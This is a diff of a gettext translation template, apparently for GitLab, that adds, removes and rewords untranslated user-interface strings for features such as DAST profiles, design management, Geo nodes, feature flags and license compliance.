+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6955,6 +7105,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6979,15 +7132,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -7018,6 +7177,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -7033,6 +7195,12 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Create"
msgstr ""
@@ -7123,6 +7291,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7159,6 +7330,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7183,6 +7357,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7354,6 +7531,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7450,6 +7630,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7615,6 +7804,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7645,25 +7837,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7672,7 +7894,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7684,6 +7915,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7693,12 +7927,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7771,7 +8062,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7849,10 +8140,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7909,6 +8200,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7930,15 +8224,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7948,6 +8251,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7975,6 +8281,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7984,6 +8296,9 @@ msgstr[2] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7996,6 +8311,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -8014,6 +8332,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -8053,8 +8374,8 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -8101,7 +8422,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8335,13 +8656,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8374,15 +8704,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8464,7 +8785,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8473,6 +8797,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8485,7 +8812,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8590,9 +8920,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8608,7 +8935,7 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8860,9 +9187,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9151,9 +9475,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9322,6 +9643,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9346,7 +9670,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9625,6 +9949,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9952,7 +10279,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9973,6 +10300,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9982,9 +10312,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9997,9 +10324,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -10009,9 +10333,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -10024,9 +10345,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10459,12 +10777,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10549,6 +10873,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10558,9 +10885,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10600,6 +10924,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10825,6 +11152,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10996,30 +11326,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -11035,12 +11350,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -11068,12 +11377,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -11095,15 +11398,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11131,27 +11425,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11164,6 +11443,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11227,6 +11512,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11359,10 +11650,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11539,7 +11830,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11656,7 +11947,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11938,6 +12232,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12214,7 +12511,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12427,6 +12724,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12442,6 +12742,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12574,6 +12877,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12730,6 +13036,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12883,6 +13195,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12898,6 +13213,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12910,13 +13228,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12925,21 +13243,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12952,6 +13273,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12970,6 +13294,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -13045,6 +13372,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13111,6 +13441,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13126,7 +13459,7 @@ msgstr[2] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13153,6 +13486,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13165,13 +13504,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13201,7 +13537,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13213,9 +13549,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13312,6 +13654,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13351,6 +13726,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13450,9 +13828,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13594,6 +13969,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13636,6 +14014,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13651,6 +14032,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13939,7 +14323,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14170,7 +14554,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14275,10 +14659,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14305,6 +14689,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14368,9 +14755,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14386,9 +14770,6 @@ msgstr ""
